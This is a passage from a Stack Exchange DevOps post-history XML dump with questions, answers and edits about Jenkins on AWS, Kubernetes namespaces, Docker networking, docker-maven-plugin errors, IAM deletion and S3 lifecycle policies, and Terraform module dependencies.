the last working state.&#xA;&#xA;I am making open source the stuff we run a business with as “[OCD][3]” where you change the config in git and a webook will run Helmfile to update your Kubernetes env. Here is the [minishift demo how-to][4]. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-deployer&#xA;  [2]: https://github.com/roboll/helmfile&#xA;  [3]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xA;  [4]: https://github.com/ocd-scm/ocd-meta/wiki/Minishift" ContentLicense="CC BY-SA 4.0" />
  <row Id="19757" PostHistoryTypeId="2" PostId="6182" RevisionGUID="44ff7e81-b0b4-407c-9e19-6797326e3fd8" CreationDate="2019-01-31T19:20:49.783" UserId="12159" Text="Unfortunately, I wasn't able to get the cookbook working using the ProviderResolver syntax for loading a provider.&#xD;&#xA;&#xD;&#xA;However, I did manage to find an updated fork of the cookbook on GitHub that resolves the Chef 13 deprecations here: https://github.com/alvlapo/cookbook-deploy_key&#xD;&#xA;&#xD;&#xA;I believe that should circumvent the issue you're seeing." ContentLicense="CC BY-SA 4.0" />
  <row Id="19758" PostHistoryTypeId="50" PostId="5846" RevisionGUID="4352d55b-90eb-41d1-b300-3d43e3a73361" CreationDate="2019-01-31T20:02:10.407" UserId="-1" />
  <row Id="19759" PostHistoryTypeId="2" PostId="6183" RevisionGUID="caad8141-ef54-4b9b-b34a-8e49fc20a0f5" CreationDate="2019-01-31T21:31:54.697" UserId="12161" Text="I am new to AWS, docker and jenkins. I want to run a jenkins build pipeline and I have tried using following two ways on AWS:&#xD;&#xA;&#xD;&#xA;1. Running jenkins inside the EC2 instance following the steps at this AWS [link](https://d1.awsstatic.com/Projects/P5505030/aws-project_Jenkins-build-server.pdf). I created a new EC2 instance and installed jenkins inside the ec2 instance (ssh into the instance). I configured jenkins and ran a build pipeline successfully.&#xD;&#xA;&#xD;&#xA;2. Running jenkins inside the ECS cluster following the steps at this [AWS link](https://docs.aws.amazon.com/aws-technical-content/latest/jenkins-on-aws/containerized-deployment.html#security-considerations-containerized-deployments).  I created two container instances for Jenkins and data volume, jenkins is installed and running inside one of the instances. (I could not move ahead this point because I was unable to not find the initial password for jenkins)&#xD;&#xA;&#xD;&#xA;I could find much information about the second process of containerized deployment on internet. As I am moving ahead in this process, I am unable to understand which process is better to run a build pipeline securely." ContentLicense="CC BY-SA 4.0" />
  <row Id="19760" PostHistoryTypeId="1" PostId="6183" RevisionGUID="caad8141-ef54-4b9b-b34a-8e49fc20a0f5" CreationDate="2019-01-31T21:31:54.697" UserId="12161" Text="Is containerized deployment of jenkins on ECS better than running jenkins inside EC2 instance to secure pipeline information?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19761" PostHistoryTypeId="3" PostId="6183" RevisionGUID="caad8141-ef54-4b9b-b34a-8e49fc20a0f5" CreationDate="2019-01-31T21:31:54.697" UserId="12161" Text="&lt;jenkins-pipeline&gt;&lt;amazon-ec2&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19762" PostHistoryTypeId="2" PostId="6184" RevisionGUID="20756e71-6da4-4e79-bbd2-63114695e131" CreationDate="2019-01-31T23:41:50.567" UserId="10599" Text="Welcome to the wonderful world of container orchestrators.&#xA;&#xA;Consider microservices for a moment. Each service should be independently deployed and independently scaled across a cluster of VMs. Where does basic Docker and Docker Compose fit in? They don’t compete with distributed system orchestrators like Openshift Kubernetes, CloudFoundry or Swarm. &#xA;&#xA;A microservices platform that scales out and has fault tolerances needs a cluster of servers with internal load balancing where traffic to each service is load balanced to many replicas. The idea that you would link two containers doesn’t make sense as each container should connect to a logical service that balances traffic to is many pods that are scaled independently of other services. So study the templates for how large scale apps run across a whole cluster of VMs with something like OKD Kubernetes. &#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19763" PostHistoryTypeId="2" PostId="6185" RevisionGUID="5717a730-a679-4b1d-b99d-5c6cf5793ad4" CreationDate="2019-01-31T23:50:37.297" UserId="4427" Text="Kubernetes supports [namespaces][1]. &#xD;&#xA;&#xD;&#xA;&gt; multiple virtual clusters backed by the same physical cluster&#xD;&#xA;&#xD;&#xA;These namespaces can allow you to use one cluster for all your environments. You can also do fancy things in your CI/CD pipeline so that each branch or each commit gets its own namespace. Those pods in prod namespace can still speak to pods in dev namespace unless you segment with NACL's. Just make sure you CNI supports that.&#xD;&#xA;&#xD;&#xA;That being said most large companies I have worked for are running a cluster per environment.&#xD;&#xA;&#xD;&#xA;I don't think there are right or wrong answers here. Do what you think is best for your company/team/workload/environment etc.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19764" PostHistoryTypeId="2" PostId="6186" RevisionGUID="415d2036-d44b-4e31-9706-881592e3f775" CreationDate="2019-01-31T23:52:40.920" UserId="11179" Text="I have a simple system made of a database backend, several instances of a web application and a load balancer. Each service is running in its own Docker container, all of them being hosted on the same physical server. The load balancer listens on the port 80 which is mapped to the same port on the host. All ingress/egress traffic is supposed to pass through that load balancer.&#xD;&#xA;&#xD;&#xA;Currently, all those containers are attached to a single [user-defined bridge](https://docs.docker.com/network/bridge/#differences-between-user-defined-bridges-and-the-default-bridge).&#xD;&#xA;&#xD;&#xA;I read it would be better to connect the load balancer and the app instances through one bridge, and the app instances and the database through a second one. _Instinctively_, it makes sense to avoid putting the DB on the public-facing bridge. But _objectively_, in a dockerized environment, what are the benefits of using two bridge networks here? Which kind of threats is mitigated by doing so?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19765" PostHistoryTypeId="1" PostId="6186" RevisionGUID="415d2036-d44b-4e31-9706-881592e3f775" CreationDate="2019-01-31T23:52:40.920" UserId="11179" Text="What are the benefits of spreading the various services of a multi-tiers application over several user-define bridges?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19766" PostHistoryTypeId="3" PostId="6186" RevisionGUID="415d2036-d44b-4e31-9706-881592e3f775" CreationDate="2019-01-31T23:52:40.920" UserId="11179" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19772" PostHistoryTypeId="5" PostId="6121" RevisionGUID="fcfccd88-f97e-404d-a6c8-2caa84e1357d" CreationDate="2019-02-01T04:14:35.753" UserId="5217" Comment="correct formatting" Text="I am new to Docker .I am install docker tool box on my window machine .&#xD;&#xA;Using pom.xml i want to generate docker image .&#xD;&#xA;pom.xml:-&#xD;&#xA;&#xD;&#xA;```lang-xml&#xD;&#xA;&#xD;&#xA;&lt;plugin&gt;&#xD;&#xA;	&lt;groupId&gt;com.spotify&lt;/groupId&gt;&#xD;&#xA;	&lt;artifactId&gt;docker-maven-plugin&lt;/artifactId&gt;&#xD;&#xA;	&lt;version&gt;0.4.11&lt;/version&gt;&#xD;&#xA;	&lt;configuration&gt;&#xD;&#xA;		&lt;repository&gt;${docker.image.prefix}/${project.artifactId}&lt;/repository&gt;&#xD;&#xA;		&lt;imageName&gt;${docker.image.prefix}/${project.artifactId}&lt;/imageName&gt;&#xD;&#xA;		&lt;dockerDirectory&gt;${project.basedir}/src/docker&lt;/dockerDirectory&gt;&#xD;&#xA;		&lt;dockerHost&gt;https://192.168.99.102:2376&lt;/dockerHost&gt;&#xD;&#xA;		&lt;dockerCertPath&gt;C:/Users/shridhar/.docker/machine/machines/default&lt;/dockerCertPath&gt;&#xD;&#xA;		&lt;forceTags&gt;true&lt;/forceTags&gt;&#xD;&#xA;		&lt;imageTags&gt;&#xD;&#xA;			&lt;imageTag&gt;${projectVersion}&lt;/imageTag&gt;&#xD;&#xA;			&lt;imageTag&gt;latest&lt;/imageTag&gt;&#xD;&#xA;		&lt;/imageTags&gt;&#xD;&#xA;&#xD;&#xA;		&lt;!-- push the image on docker hub --&gt;&#xD;&#xA;		&lt;serverId&gt;docker-hub&lt;/serverId&gt;&#xD;&#xA;		&lt;registryUrl&gt;https://hub.docker.com&lt;/registryUrl&gt;&#xD;&#xA;		&lt;resources&gt;&#xD;&#xA;			&lt;resource&gt;&#xD;&#xA;				&lt;!-- war file locaion wheere war should be present (copied) --&gt;&#xD;&#xA;				&lt;targetPath&gt;/	&lt;/targetPath&gt;&#xD;&#xA;				&lt;directory&gt;${project.build.directory}&lt;/directory&gt;&#xD;&#xA;				&lt;include&gt;${project.build.finalName}.war&lt;/include&gt;&#xD;&#xA;			&lt;/resource&gt;&#xD;&#xA;		&lt;/resources&gt;&#xD;&#xA;	&lt;/configuration&gt;&#xD;&#xA;&lt;/plugin&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Docker machine details&#xD;&#xA;```lang-bash&#xD;&#xA;$ env | grep 'DOCKER'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;DOCKER_HOST=tcp://192.168.99.102:2376&#xD;&#xA;DOCKER_MACHINE_NAME=default&#xD;&#xA;DOCKER_TLS_VERIFY=1&#xD;&#xA;DOCKER_TOOLBOX_INSTALL_PATH=C:\Program Files\Docker Toolbox&#xD;&#xA;DOCKER_CERT_PATH=C:\Users\shridhar\.docker\machine\machines\default&#xD;&#xA;```&#xD;&#xA;Getting the below exception &#xD;&#xA;&#xD;&#xA;    Caused by: com.spotify.docker.client.exceptions.DockerException: java.util.concurrent.ExecutionException: com.spotify.docker.client.shaded.javax.ws.rs.ProcessingException: org.apache.http.client.ClientProtocolException&#xD;&#xA;&#xD;&#xA;If i make tcp connection&#xD;&#xA;&#xD;&#xA;```lang-xml&#xD;&#xA;&lt;dockerHost&gt;tcp://192.168.99.102:2376&lt;/dockerHost&gt;&#xD;&#xA;```&#xD;&#xA;then getting below exception&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Caused by: java.lang.IllegalArgumentException: An HTTPS URI for DOCKER_HOST must be provided to use Docker client certificates&#xD;&#xA;```&#xD;&#xA;May i know, what changes i have to make to build image sucessfully " ContentLicense="CC BY-SA 4.0" />
  <row Id="19773" PostHistoryTypeId="24" PostId="6121" RevisionGUID="fcfccd88-f97e-404d-a6c8-2caa84e1357d" CreationDate="2019-02-01T04:14:35.753" Comment="Proposed by 5217 approved by 40, 12073 edit id of 927" ContentLicense="CC BY-SA 4.0" />
  <row Id="19774" PostHistoryTypeId="2" PostId="6188" RevisionGUID="788b9f02-cd8d-4c08-aaab-07312c3593a3" CreationDate="2019-02-01T05:56:14.920" UserId="10712" Text="I have the below pipeline script with string parameters. The Target parameter will fail if multiple comma separated inputs are provided in Jenkins. How can I restrict the Jenkins pipeline to accept just one value as parameter and not multiple comma separated values.&#xD;&#xA;&#xD;&#xA;    properties([&#xD;&#xA;	parameters([&#xD;&#xA;		string(defaultValue: '', description: '', name: 'ID'),&#xD;&#xA;		string(defaultValue: '', description: '', name: 'Target')&#xD;&#xA;		])&#xD;&#xA;	])&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19775" PostHistoryTypeId="1" PostId="6188" RevisionGUID="788b9f02-cd8d-4c08-aaab-07312c3593a3" CreationDate="2019-02-01T05:56:14.920" UserId="10712" Text="How to restrict only one parameter in jenkins pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="19776" PostHistoryTypeId="3" PostId="6188" RevisionGUID="788b9f02-cd8d-4c08-aaab-07312c3593a3" CreationDate="2019-02-01T05:56:14.920" UserId="10712" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19777" PostHistoryTypeId="5" PostId="6184" RevisionGUID="6cf0ba64-9439-44f6-83c8-4bf8486cb8e7" CreationDate="2019-02-01T06:39:15.767" UserId="10599" Comment="added 473 characters in body" Text="Welcome to the wonderful world of container orchestrators.&#xA;&#xA;Consider microservices for a moment. Each service should be independently deployed and independently scaled across a cluster of VMs. Where does basic Docker and Docker Compose fit in? They don’t compete with distributed system orchestrators like Openshift Kubernetes, CloudFoundry or Swarm. &#xA;&#xA;A microservices platform that scales out and has fault tolerances needs a cluster of servers with internal load balancing where traffic to each service is load balanced to many replicas. The idea that you would link two containers doesn’t make sense in a microservices world as each container should connect to a logical service that balances traffic to many pods that are scaled independently of other services. So study the templates for how large scale apps run across a whole cluster of VMs with something like OKD Kubernetes. &#xA;&#xA;So where does Docker Compose fit in if you are using a full orchestrator? I don’t think it does if you are using something like Kubernetes. Developers can run Minikube or Minishift on their laptop. Better yet one “not production” cluster can run a different namespace for every developer to have their own personal or shared sandpits to develop in. You can also setup one namespace per test environment on that one cluster simplifying you management. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19781" PostHistoryTypeId="5" PostId="6184" RevisionGUID="de14ea82-bf30-4d5c-b7dd-5cae0d7599fa" CreationDate="2019-02-01T06:54:10.853" UserId="10599" Comment="added 349 characters in body; added 97 characters in body" Text="Welcome to the wonderful world of container orchestrators.&#xA;&#xA;Consider microservices for a moment. Each service should be independently deployed and independently scaled across a cluster of VMs. Where does basic Docker and Docker Compose fit in? They don’t compete with distributed system orchestrators like Openshift Kubernetes, CloudFoundry or Docker Swarm.&#xA;&#xA;A microservices platform that scales out and has fault tolerances needs a cluster of servers with internal load balancing where traffic to each service is load balanced to many replicas. The idea that you would link two containers doesn’t make sense in a microservices world as each container should connect to a logical service that balances traffic to many pods that are scaled independently of other services. So study the templates for how large scale apps run across a whole cluster of VMs with something like OKD Kubernetes. &#xA;&#xA;So where does Docker Compose fit in if you are using a full orchestrator? I don’t think it does if you are using something like Kubernetes. Developers can run Minikube or Minishift on their laptop. Better yet one “not production” cluster can run a different namespace for every developer to have their own personal or shared sandpits to develop in. You can also setup one namespace per test environment on that one cluster simplifying you management. &#xA;&#xA;Note that Docker [isn’t the only container runtime][1] these days and IMHO it’s likely to not be the default one for orchestrators other than Swarm. For example k8s now uses a standard API that [lets you plug in alternatives][2] and runtimes that focus on security and footprint are likely to become more popular. &#xA;&#xA;&#xA;  [1]: https://kubedex.com/kubernetes-container-runtimes/&#xA;  [2]: https://kubic.opensuse.org/blog/2018-09-17-crio-default/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19782" PostHistoryTypeId="5" PostId="6184" RevisionGUID="05fb6ebf-e5e2-42a1-81ed-db4963ee18f3" CreationDate="2019-02-01T07:04:56.077" UserId="10599" Comment="added 23 characters in body" Text="Welcome to the wonderful world of container orchestrators.&#xA;&#xA;Consider microservices for a moment. Each service should be independently deployed and independently scaled across a cluster of VMs. Where does basic Docker and Docker Compose fit in? They don’t compete with distributed system orchestrators like Openshift Kubernetes, CloudFoundry or Docker Swarm.&#xA;&#xA;A microservices platform that scales out and has fault tolerances needs a cluster of servers with internal load balancing where traffic to each service is load balanced to many replicas. The idea that you would link two containers doesn’t make sense in a microservices world as each container should connect to a logical service that balances traffic to many pods that are scaled independently of other services. So study the templates for how large scale apps run across a whole cluster of VMs with something like OKD Kubernetes. &#xA;&#xA;So where does Docker Compose fit in if you are using a full orchestrator? I don’t think it does if you are using something like Kubernetes. Developers can run Minikube or Minishift on their laptop. Better yet one “not production” cluster can run a different namespace for every developer to have their own personal or shared sandpits to develop in. You can also setup one namespace per test environment on that one cluster simplifying you management. &#xA;&#xA;Note that Docker [isn’t the only container runtime][1] these days and IMHO it’s unlikely to not be the default one for orchestrators in other than Swarm in the future. For example k8s now uses a standard API that [lets you plug in alternatives][2] and runtimes that focus on security and footprint are likely to become more the default. &#xA;&#xA;&#xA;  [1]: https://kubedex.com/kubernetes-container-runtimes/&#xA;  [2]: https://kubic.opensuse.org/blog/2018-09-17-crio-default/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19783" PostHistoryTypeId="5" PostId="6184" RevisionGUID="ad2f2dd6-5677-40bd-94dc-72721fd12fd0" CreationDate="2019-02-01T07:14:06.737" UserId="10599" Comment="deleted 5 characters in body" Text="Welcome to the wonderful world of container orchestrators.&#xA;&#xA;Consider microservices for a moment. Each service should be independently deployed and independently scaled across a cluster of VMs. Where does basic Docker and Docker Compose fit in? They don’t compete with distributed system orchestrators like Openshift Kubernetes, CloudFoundry or Docker Swarm.&#xA;&#xA;A microservices platform that scales out and has fault tolerances needs a cluster of servers with internal load balancing where traffic to each service is load balanced to many replicas. The idea that you would link two containers doesn’t make sense in a microservices world as each container should connect to a logical service that balances traffic to many pods that are scaled independently of other services. So study the templates for how large scale apps run across a whole cluster of VMs with something like OKD Kubernetes. &#xA;&#xA;So where does Docker Compose fit in if you are using a full orchestrator? I don’t think it does if you are using something like Kubernetes. Developers can run Minikube or Minishift on their laptop. Better yet one “not production” cluster can run a different namespace for every developer to have their own personal or shared sandpits to develop in. You can also setup one namespace per test environment on that one cluster simplifying you management. &#xA;&#xA;Note that Docker [isn’t the only container runtime][1] these days and IMHO it’s unlikely to not be the default one for orchestrators in other than Swarm in the future. For example k8s now uses a standard API that [lets you plug in alternatives][2] and runtimes that focus on security and footprint are likely to become the default. &#xA;&#xA;&#xA;  [1]: https://kubedex.com/kubernetes-container-runtimes/&#xA;  [2]: https://kubic.opensuse.org/blog/2018-09-17-crio-default/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19787" PostHistoryTypeId="2" PostId="6191" RevisionGUID="eecb214a-ecf1-4ace-a053-a02cf6cb7de4" CreationDate="2019-02-01T08:09:19.210" UserId="11797" Text="I have created one IAM User named &quot;test&quot; with S3 and Glacier Permission.&#xD;&#xA;&#xD;&#xA;Now with user &quot;test&quot; i created one life cycle policy to move data from S3 to Glacier at every 5 days.&#xD;&#xA;&#xD;&#xA;Now, i delete IAM user &quot;test&quot; because i don't need it anymore.&#xD;&#xA;&#xD;&#xA;So my question here is, After deleting user &quot;test&quot;, S3 Life cycle policy will work or not? OR will there be any impact on life cycle policy?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19788" PostHistoryTypeId="1" PostId="6191" RevisionGUID="eecb214a-ecf1-4ace-a053-a02cf6cb7de4" CreationDate="2019-02-01T08:09:19.210" UserId="11797" Text="Impact on policy after deleting IAM user" ContentLicense="CC BY-SA 4.0" />
  <row Id="19789" PostHistoryTypeId="3" PostId="6191" RevisionGUID="eecb214a-ecf1-4ace-a053-a02cf6cb7de4" CreationDate="2019-02-01T08:09:19.210" UserId="11797" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19790" PostHistoryTypeId="2" PostId="6192" RevisionGUID="4a33d6df-cb35-4672-ac51-15cb90e53f27" CreationDate="2019-02-01T08:37:41.187" UserId="503" Text="The policy will still exist.&#xD;&#xA;&#xD;&#xA;The [documentation][1] lists what is deleted when a user is deleted, any resources that the user has created will persist.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_manage.html#id_users_deleting" ContentLicense="CC BY-SA 4.0" />
  <row Id="19791" PostHistoryTypeId="2" PostId="6193" RevisionGUID="914b8847-adb0-4d4d-88d0-f7024aa18286" CreationDate="2019-02-01T08:49:57.990" UserId="503" Text="There is a hacky workaround for getting Terraform to do module dependencies. You can force the module to be aware of the Terraform calling it like this:&#xD;&#xA;&#xD;&#xA;```terraform&#xD;&#xA;# ROOT level main.tf&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;# Create NAT Gateway - Associates EIP as well&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;module &quot;vpc_nat_gateway&quot; {&#xD;&#xA;  source            = &quot;./vpc_nat_gateway&quot;&#xD;&#xA;  vpc_id            = &quot;${ module.vpc.id }&quot;&#xD;&#xA;  public_subnet_ids = &quot;${ module.vpc_subnets.public_subnet_ids }&quot;&#xD;&#xA;  private_cidr      = &quot;${ var.private_cidr }&quot;&#xD;&#xA;  common_tags       = &quot;${ local.common_tags }&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;# Create Private Routes&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;module &quot;vpc_private_route&quot; {&#xD;&#xA;  source         = &quot;./vpc_private_route&quot;&#xD;&#xA;  vpc_id.        = &quot;${ module.vpc.id }&quot;&#xD;&#xA;  nat_gateway_id = &quot;${ module.vpc_nat_gateway.nat_gateway_id }&quot;&#xD;&#xA;  common_tags    = &quot;${ local.common_tags }&quot;&#xD;&#xA;&#xD;&#xA;  depends_on = [&quot;${module.vpc_nat_gateway.nat_gateway_id}&quot;]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;# vpc_private_route module - main.tf&#xD;&#xA;variable &quot;depends_on&quot; {&#xD;&#xA;  default = []&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;depends_on&quot; {&#xD;&#xA;  triggers {&#xD;&#xA;    depends_on = &quot;${join(&quot;&quot;, var.depends_on)}&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_nat_gateway&quot; &quot;az1&quot; {&#xD;&#xA;  vpc_id = &quot;${ var.vpc_id }&quot;&#xD;&#xA;&#xD;&#xA;  tags {&#xD;&#xA;    Name = &quot;*NAT GW AZ 1&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  depends_on = [&#xD;&#xA;    &quot;null_resource.depends_on&quot;&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_nat_gateway&quot; &quot;az2&quot; {&#xD;&#xA;  vpc_id = &quot;${ var.vpc_id }&quot;&#xD;&#xA;&#xD;&#xA;  tags {&#xD;&#xA;    Name = &quot;*NAT GW AZ 2&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  depends_on = [&#xD;&#xA;    &quot;null_resource.depends_on&quot;&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It adds a lot of boilerplate but you will get the desired effect." ContentLicense="CC BY-SA 4.0" />
  <row Id="19792" PostHistoryTypeId="50" PostId="5824" RevisionGUID="eae5d3cb-7045-4877-b279-39f4515dedba" CreationDate="2019-02-01T09:01:00.137" UserId="-1" />
  <row Id="19793" PostHistoryTypeId="5" PostId="6179" RevisionGUID="9910b2ec-35ef-48f2-b168-e188516fa861" CreationDate="2019-02-01T10:00:21.907" UserId="11179" Comment="added 11 characters in body" Text="The `docker network inspect` command produces a JSON output that can be parsed using [`jq`](https://stedolan.github.io/jq/) to extract the relevant piece of information:&#xD;&#xA;&#xD;&#xA;    sudo docker network inspect app-bridge | jq '.[].Containers[].Name'&#xD;&#xA;    &#xD;&#xA;    &quot;app2&quot;&#xD;&#xA;    &quot;app3&quot;&#xD;&#xA;    &quot;app1&quot;&#xD;&#xA;    &quot;laughing_easley&quot;&#xD;&#xA;    &quot;database&quot;&#xD;&#xA;    &quot;thirsty_wing&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you are already familiar with JSON processing with `jq`, the advantage is you can reinvest your knowledge without having to bother with [Go templates](https://golang.org/pkg/text/template/). On the other hand, it relies on an external tool which may or may be not available at your site." ContentLicense="CC BY-SA 4.0" />
  <row Id="19794" PostHistoryTypeId="6" PostId="6186" RevisionGUID="e11cc758-d934-4f0e-899b-24c75d5cabae" CreationDate="2019-02-01T10:03:38.197" UserId="11179" Comment="edited tags" Text="&lt;docker&gt;&lt;deployment&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19795" PostHistoryTypeId="2" PostId="6194" RevisionGUID="4926adad-9bf1-43b5-afd0-3585ebb8012e" CreationDate="2019-02-01T10:04:57.243" UserId="11598" Text="&gt;Lifecycle policy will remain and working as it is.&#xD;&#xA;&#xD;&#xA;When you use the AWS Management Console to delete an IAM user, IAM automatically deletes the following information for you: &#xD;&#xA;&#xD;&#xA; - The user Any group memberships.&#xD;&#xA; - The user is removed from any IAM groups.&#xD;&#xA; - That the user was a member of Any password associated with the user&#xD;&#xA;   &#xD;&#xA; - Any access keys belonging to the user.&#xD;&#xA; - All inline policies embedded in the user (policies that are applied&#xD;&#xA;   to a user via group permissions are not affected)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19796" PostHistoryTypeId="5" PostId="6194" RevisionGUID="8bec45b9-6192-4f82-8fcf-6290b206f9e8" CreationDate="2019-02-01T10:18:11.933" UserId="11797" Comment="Added one point and changed policy name" Text="&gt;S3 Life cycle policy will remain and working as it is.&#xD;&#xA;&#xD;&#xA;When you use the AWS Management Console to delete an IAM user, IAM automatically deletes the following information for user: &#xD;&#xA;&#xD;&#xA; - The user Any group memberships.&#xD;&#xA; - The user is removed from any IAM groups.&#xD;&#xA; - That the user was a member of Any password associated with the user&#xD;&#xA;   &#xD;&#xA; - Any access keys belonging to the user.&#xD;&#xA; - All inline policies embedded in the user (policies that are applied&#xD;&#xA;   to a user via group permissions are not affected)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19797" PostHistoryTypeId="24" PostId="6194" RevisionGUID="8bec45b9-6192-4f82-8fcf-6290b206f9e8" CreationDate="2019-02-01T10:18:11.933" Comment="Proposed by 11797 approved by 11598 edit id of 928" ContentLicense="CC BY-SA 4.0" />
  <row Id="19798" PostHistoryTypeId="2" PostId="6195" RevisionGUID="56e616b6-f773-4699-abe0-adfc47f0169f" CreationDate="2019-02-01T11:00:36.483" UserId="11179" Text="We use containers to deploy our [Node.js](https://nodejs.org/en/) applications. But currently, the development and a good share of testing is done by the developers on their own host system and thus using different versions of the tools (notably Node.js itself, [NPM](https://www.npmjs.com/), and [Mocha](https://mochajs.org/)) depending what's available in the Linux distribution they use.&#xD;&#xA;&#xD;&#xA;To standardize our development stack, we would like to perform all tests in containers so everyone will use the exact same version of the tools. The application source directory will be bind-mounted to the &quot;test container&quot;.&#xD;&#xA;&#xD;&#xA;We are having now a discussion here about how the developers are supposed to interact with the &quot;test container&quot;. Basically, using Dockerfile notation, we are hesitating between two options:&#xD;&#xA;&#xD;&#xA;* The **blackbox** solution:&#xD;&#xA;&#xD;&#xA;        CMD npm install &amp;&amp; npm test&#xD;&#xA;&#xD;&#xA;      &lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;        host$ # Running a test suite:&#xD;&#xA;        host$ sudo docker run app-test-container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  Running tests do not require any manual work besides starting the container. Tests are guaranteed to be reproducible. But developers complain about the possible overhead of running `npm install` before every test and a potential issue if (because of the bind mount) they end-up starting several instances of `npm install` run concurrently.&#xD;&#xA;&#xD;&#xA;* The **openbox** solution:&#xD;&#xA;&#xD;&#xA;        CMD /bin/bash&#xD;&#xA;&#xD;&#xA;      &lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;        host$ # Starting the test container:&#xD;&#xA;        host$ sudo docker run -it app-test-container&#xD;&#xA;&#xD;&#xA;        app-test-container$ # run tests after dependency change&#xD;&#xA;        app-test-container$ npm install &amp;&amp; npm test&#xD;&#xA;&#xD;&#xA;        app-test-container$ # run tests when no dependency change&#xD;&#xA;        app-test-container$ npm test&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  With that solution, the developers just gain shell access to a container set up with a standard development stack. It is up to them to `npm install` when needed and tests are manually started by issuing the `npm test` command in the container. It is very close to what they currently do on their development host.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;So, I have three questions:&#xD;&#xA;&#xD;&#xA;* Do those solutions seem to be sane to you?&#xD;&#xA;* Can you see some advantages or disadvantages we missed in either solution?&#xD;&#xA;* Overall, is this a good step toward enforcing best practices, or do you spot some anti-pattern here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19799" PostHistoryTypeId="1" PostId="6195" RevisionGUID="56e616b6-f773-4699-abe0-adfc47f0169f" CreationDate="2019-02-01T11:00:36.483" UserId="11179" Text="Blackbox testing vs openbox testing applications in a containerized environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="19800" PostHistoryTypeId="3" PostId="6195" RevisionGUID="56e616b6-f773-4699-abe0-adfc47f0169f" CreationDate="2019-02-01T11:00:36.483" UserId="11179" Text="&lt;containers&gt;&lt;testing&gt;&lt;development-environment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19801" PostHistoryTypeId="5" PostId="6195" RevisionGUID="43d8356a-17c4-41e9-93f1-279880420d24" CreationDate="2019-02-01T11:12:00.223" UserId="11179" Comment="added 110 characters in body" Text="We use containers to deploy our [Node.js](https://nodejs.org/en/) applications. But currently, the development and a good share of testing is done by the developers on their own host system and thus using different versions of the tools (notably Node.js itself, [NPM](https://www.npmjs.com/), and [Mocha](https://mochajs.org/)) depending what's available in the Linux distribution they use.&#xD;&#xA;&#xD;&#xA;To standardize our development stack, we would like to perform all tests in containers so everyone will use the exact same version of the tools. The application source directory will be bind-mounted to the &quot;test container&quot;.&#xD;&#xA;&#xD;&#xA;We are having now a discussion here about how the developers are supposed to interact with the &quot;test container&quot;. Basically, using Dockerfile notation, we are hesitating between two options:&#xD;&#xA;&#xD;&#xA;* The **blackbox** solution:&#xD;&#xA;&#xD;&#xA;        CMD npm install &amp;&amp; npm test&#xD;&#xA;&#xD;&#xA;      &lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;        host$ # Running a test suite:&#xD;&#xA;        host$ sudo docker run app-test-container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  Running tests do not require any manual work besides starting the container. Tests are guaranteed to be reproducible. But developers complain about the possible overhead of running `npm install` before every test and a [potential issue if (because of the bind mount) they end-up starting concurrently several instances of `npm install`](https://stackoverflow.com/questions/54478326/can-several-npm-install-command-be-safely-issued-concurrently).&#xD;&#xA;&#xD;&#xA;* The **openbox** solution:&#xD;&#xA;&#xD;&#xA;        CMD /bin/bash&#xD;&#xA;&#xD;&#xA;      &lt;!-- 